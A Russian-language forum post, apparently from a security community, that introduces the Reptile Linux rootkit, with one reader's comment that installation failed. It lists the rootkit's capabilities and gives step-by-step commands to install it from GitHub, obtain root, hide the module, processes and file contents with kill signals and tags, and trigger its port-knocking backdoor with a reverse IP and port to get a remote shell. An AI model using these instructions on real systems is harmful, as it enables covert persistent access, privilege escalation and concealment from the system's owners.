• Приглашаем на KubanCTF

    Старт соревнований 14 сентября в 10:00 по москве

    Ссылка на регистрацию в соревнованиях Kuban CTF: kubanctf.ru

    Кодебай является технологическим партнером мероприятия

Reptile Rootkit

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Приветствую! В этой статье, речь пойдет о rootkit для Linux систем, под именем Reptile.

upload_2017-10-28_23-26-2.png


Rootkit — набор программных средств, обеспечивающих:

· маскировку объектов (процессов, файлов, директорий, драйверов);

· управление (событиями, происходящими в системе);

· сбор данных (параметров системы).

Особенности Reptile:

· Root-права не привилегированным пользователям

· Сокрытие файлов и каталогов

· Сокрытие содержимого файлов

· Сокрытие процессов

· Собственная маскировка

· Сохранение загрузок

· ICMP / UDP port-knocking backdoor.

Установка:

> apt-get install linux-headers-$(uname -r)

upload_2017-10-28_23-26-48.png


> https://github.com/f0rb1dd3n/Reptile.git

> cd Reptile

> ./installer.sh install

upload_2017-10-28_23-27-15.png


Бинарные файлы будут скопированы в папку /reptile, которая будет скрыта с помощью Reptile.

Получение root прав:

> /reptile/r00t

> Id


upload_2017-10-28_23-27-54.png


Использовалась следующая ОС:

upload_2017-10-28_23-28-17.png


Скрытность Рептилии:

· Скрыть / показать модуль: kill -50 0

· Скрыть / показать процесс: kill -49 <PID>

· Скрыть содержимое файлов: весь контент между тегами будет скрыт.

upload_2017-10-28_23-28-40.png


> #<reptile>

> content to hide

> #</reptile>

Port Knocking к хосту с Рептилией:

> ./knock_on_heaven <args>

Аргументы:

· -x protocol (ICMP/UDP)

· -s Source IP address (You can spoof)

· -t Target IP address

· -p Source Port

· -q Target Port

· -d Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"

· -l Launch listener

Конец, спасибо за внимание.

P.S. Дополнительная информация:

> https://github.com/f0rb1dd3n/Reptile

Спасибо, за внимание.
 
I

Inject0r

2017-11-01_11-10-13.jpg
Не удалось потестить, ошибка при установке, установщик обращается к папке, которой в принципе нет.
 
  • Нравится
Реакции: Tihon49
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!